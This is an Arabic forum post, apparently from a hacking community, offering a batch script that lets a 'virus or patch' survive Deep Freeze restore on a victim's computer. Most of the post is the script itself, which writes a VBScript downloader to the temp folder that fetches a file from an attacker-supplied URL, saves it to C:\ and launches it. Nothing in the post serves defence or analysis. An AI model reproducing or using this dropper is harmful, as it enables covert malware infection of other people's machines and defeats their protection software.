الرئيسية
السلام عليكم ورحمة الله وبركاته
طبعا الكل يعرف برنامج الديب فريز عندما ترسل الى شخص فيروس و باتش وهو عنه برنامج الديب فريز مع اول رستارت تزال تلك الملفات
لكن مع هذا الكود لن يسطتيع الديب فريز فعل اى شئ
الكود :
@echo off
set file="ضع هنا كود الفيرس او الباتش"
set dlto="C:\"
::----------------
if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%
\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %
temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile,
strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2,
ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject(
"Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %
temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid(
myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%
\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath,
InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%
\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs
echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile,
ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject(
"WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %
temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody )
>> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB(
objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%
\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs
start %temp%\dl.vbs
شارك اثبت وجودك
